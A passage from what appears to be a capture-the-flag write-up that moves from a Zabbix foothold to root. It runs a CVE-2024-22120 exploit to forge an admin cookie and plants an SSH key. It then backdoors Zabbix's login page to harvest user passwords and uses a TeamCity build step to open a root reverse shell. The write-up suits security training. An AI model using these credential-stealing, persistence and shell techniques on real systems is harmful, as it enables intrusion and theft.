root        2479  0.1  1.4 3617920 59328 ?       Sl   10:41   0:50 /usr/lib/jvm/java-11-openjdk-amd64/bin/java -DTCSubProcessName=TeamCityMavenServer -classpath /root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/wagon-file-3.5.1.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/guice-4.2.2-no_aop.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-embedder-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/javax.inject-1.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/commons-io-2.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-shared-utils-3.3.4.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/jcl-over-slf4j-1.7.36.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/plexus-sec-dispatcher-2.0.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-embedder-api.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-common.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-resolver-spi-1.6.3.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/guava-25.1-android.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-resolver-provider-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-resolver-impl-1.6.3.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-model-builder-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-repository-metadata-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/plexus-utils-3.3.1.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/org.eclipse.sisu.inject-0.3.5.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-resolver-util-1.6.3.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-plugin-api-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-core-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-artifact-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/plexus-component-annotations-2.1.0.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-slf4j-provider-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-embedder3.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/commons-lang3-3.8.1.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-model-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/jansi-2.4.0.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/wagon-provider-api-3.5.1.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-settings-builder-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/async-trigger.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/plexus-classworlds-2.6.0.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-settings-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-compat-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-resolver-api-1.6.3.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/org.eclipse.sisu.plexus-0.3.5.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-builder-support-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/plexus-interpolation-1.26.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/slf4j-api-1.7.36.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-runner-server.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/plexus-cipher-2.0.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/commons-cli-1.4.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/javax.annotation-api-1.2.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-resolver-transport-wagon-1.6.3.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/wagon-http-3.5.1-shaded.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-resolver-connector-basic-1.6.3.jar:/root/TeamCity/webapps/ROOT/WEB-INF/lib/log4j-1.2-api.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/slf4j-api-1.7.36.jar:/root/TeamCity/webapps/ROOT/WEB-INF/lib/log4j-api.jar:/root/TeamCity/webapps/ROOT/WEB-INF/lib/log4j-core.jar:/root/TeamCity/webapps/ROOT/WEB-INF/lib/common.jar:/root/TeamCity/webapps/ROOT/WEB-INF/lib/idea-obsolete-openapi.jar -Dlogs.dir=/root/TeamCity/logs -Xmx1G jetbrains.buildServer.maven.remote.MavenServerImpl teamcity-mavenServer

To get a better look, I’ll create an SSH tunnel to access this in my browser. I’ll create a .ssh directory in zabbix’s home directory, and add a public key:

zabbix@watcher:/var/lib/zabbix$ mkdir .ssh
zabbix@watcher:/var/lib/zabbix$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" > .ssh/authorized_keys
zabbix@watcher:/var/lib/zabbix$ chmod 700 .ssh/
zabbix@watcher:/var/lib/zabbix$ chmod 600 .ssh/authorized_keys 

Now I can SSH, but the zabbix user’s shell in passwd is set to /nologin:

$ ssh -i ~/keys/ed25519_gen zabbix@watcher.vl
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1039-aws x86_64)
...[snip]...
This account is currently not available.
Connection to watcher.vl closed.

But I can make a tunnel:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen zabbix@watcher.vl -N -L 8111:localhost:8111

This just hangs, but visiting http://localhost:8111 loads TeamCity:

image-20251005070358320

The version is 2024.03.3. Not much I can do here without creds.

Zabbix as Admin

Get Login Via CVE-2024-22120

Without much else to go on, I’ll go back into the Zabbix UI as admin. The exploit POC also has a script to get an Admin cookie:

oxdf@hacky$ uv add --script CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py requests pwntools
Updated `CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py`
oxdf@hacky$ uv run --script  CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py -h
Installed 29 packages in 158ms
usage: CVE-2024-22120-LoginAsAdmin.py [-h] [--false_time FALSE_TIME] [--true_time TRUE_TIME] [--ip IP] [--port PORT] [--sid SID] [--hostid HOSTID]

CVE-2024-22120-LoginAsAdmin

options:
  -h, --help            show this help message and exit
  --false_time FALSE_TIME
                        Time to sleep in case of wrong guess(make it smaller than true time, default=1)
  --true_time TRUE_TIME
                        Time to sleep in case of right guess(make it bigger than false time, default=10)
  --ip IP               Zabbix server IP
  --port PORT           Zabbix server port(default=10051)
  --sid SID             Session ID of low privileged user
  --hostid HOSTID       hostid of any host accessible to user with defined sid

This code also has a proxy hard-coded into the last bit on 8083. So if that’s not where my proxy is running, I’ll need to comment that out or it will crash:

def CheckAdminSession(ip, admin_session):
    proxy = {
    #    "https": "http://127.0.0.1:8083",
    #    "http": "http://127.0.0.1:8083"
    }

This takes a long time, but it does work:

oxdf@hacky$ uv run --script  CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py --ip zabbix.watcher.vl --sid 52e9672d37536a3700f470cd86e16c56 --hostid 10084
(+) session_id=e
(+) session_id=e2
(+) session_id=e29
...[snip]...
(+) session_id=e29cc8d946f1a3135fe7ceec60d0ff0d
(+) session_key=b
...[snip]...
(+) session_key=b9857bc76e26cf108766043dbf43544b
try replace cookie with:
zbx_session=eyJzZXNzaW9uaWQiOiJlMjljYzhkOTQ2ZjFhMzEzNWZlN2NlZWM2MGQwZmYwZCIsInNlcnZlckNoZWNrUmVzdWx0Ijp0cnVlLCJzZXJ2ZXJDaGVja1RpbWUiOjE3NTk2NjA4MzEsInNpZ24iOiI0YTg3NzA4MmI2MDUwNGY1MjU1MDU3N2QxZjRlZTllMDM0ZDM1MWVlZDRlZDZmNjRkZjE2MGI2MTkzZWRiOTQxIn0=

That cookie does work to log in as admin.

Get Access via Database Manipulation

The Zabbix docs show how to reset the admin password to “zabbix” with a database query:

UPDATE users SET passwd = '$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username = 'Admin';

I can run this from the shell:

mysql> UPDATE users SET passwd = '$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username = 'Admin';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0

And then login (making sure to use “Admin” and not “admin”):

image-20251004171531179Click for full size image

Audit Logs

On the audit logs, I’ll notice that Frank is logging in. Updating the filters to just show Frank, it shows they are logging in every minute:

image-20251004171736833Click for full size image

Poison Zabbix Login

Looking at my Burp Proxy HTTP history, the login sends a POST to /index.php. I’ll find index.php in /usr/share/zabbix. The login code looks like it’s around line 70:

zabbix@watcher:/usr/share/zabbix$ cat index.php | grep -n login
37:     'autologin' =>  [T_ZBX_INT, O_OPT, null,        null,   null],
57:$autologin = hasRequest('enter') ? getRequest('autologin', 0) : getRequest('autologin', 1);
70:// login via form
71:if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
74:     if (CWebUser::$data['autologin'] != $autologin) {
77:                     'autologin' => $autologin
91:echo (new CView('general.login', [
92:     'http_login_url' => (CAuthenticationHelper::get(CAuthenticationHelper::HTTP_AUTH_ENABLED) == ZBX_AUTH_HTTP_ENABLED)
95:     'saml_login_url' => (CAuthenticationHelper::get(CAuthenticationHelper::SAML_AUTH_ENABLED) == ZBX_AUTH_SAML_ENABLED)
98:     'guest_login_url' => CWebUser::isGuestAllowed() ? (new CUrl())->setArgument('enter', ZBX_GUEST_USER) : '',
99:     'autologin' => $autologin == 1,

I found the easiest way to modify the file over this reverse shell is to copy all the text and create a file on my host. Now I’ll edit it, adding a few lines:

// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
        $user = $_POST['name'] ?? '??';
        $password = $_POST['password'] ?? '??';
        $f = fopen('/dev/shm/0xdf.txt', 'a+');
        fputs($f, "{$user}:{$password}\n");
        fclose($f);

        CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);

Users can login as normal, but their creds will be recorded to /dev/shm/0xdf.txt. Now I’ll serve this file with my Python HTTP server, and upload it:

zabbix@watcher:/usr/share/zabbix$ cp index.php{,.bak}   
zabbix@watcher:/usr/share/zabbix$ curl 10.10.15.1/index.php -o index.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  4692  100  4692    0     0  91465      0 --:--:-- --:--:-- --:--:-- 92000

Soon, there’s an 0xdf.txt in /dev/shm:

zabbix@watcher:/usr/share/zabbix$ cat /dev/shm/0xdf.txt 
Frank:R%)3S7^Hf4TBobb(gVVs

TeamCity

frank’s creds from Zabbix work here too!

image-20251005070520067

TeamCity is a CICD build platform, and frank seems to have admin access. I should be able to create a build stage that executes whatever code I want. I’ll click “Create project…”. On the next page, I’ll click “Manually”:

image-20251005134804539

I’ll give it a name:

image-20251005134820707

The next page is general settings, where I’ll click on “Create build configuration”:

image-20251005134952211

I’ll give it a name, and click “Create”:

image-20251005135013059

The next page asks for a “New VCS Root”:

image-20251005135046815

I’ll click skip, and on the next page, click “Build Steps” from the side menu:

image-20251005135114211

This menu has a button to “Add build step”:

image-20251005135135619

On the next menu, I’ll select “Command Line”:

image-20251005135159616

I’ll give it a reverse shell:

image-20251005135238380

On the resulting page, I see my build step:

image-20251005135325594

At the top right, there’s a button to “Run”. I’ll click that, and it starts a process:

image-20251005135401607

And after a minute, there’s a shell as root:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.214.16 37982
bash: cannot set terminal process group (632): Inappropriate ioctl for device
bash: no job control in this shell
root@watcher:/root/TeamCity/buildAgent/work/da3c5189dbf269a2#

I’ll upgrade my shell using the standard trick:

root@watcher:/root/TeamCity/buildAgent/work/da3c5189dbf269a2# script /dev/null -c bash
Script started, output log file is '/dev/null'. 
root@watcher:/root/TeamCity/buildAgent/work/da3c5189dbf269a2# ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
root@watcher:/root/TeamCity/buildAgent/work/da3c5189dbf269a2# 

And grab the root flag:

root@watcher:/root# cat root.txt
f7af28f2************************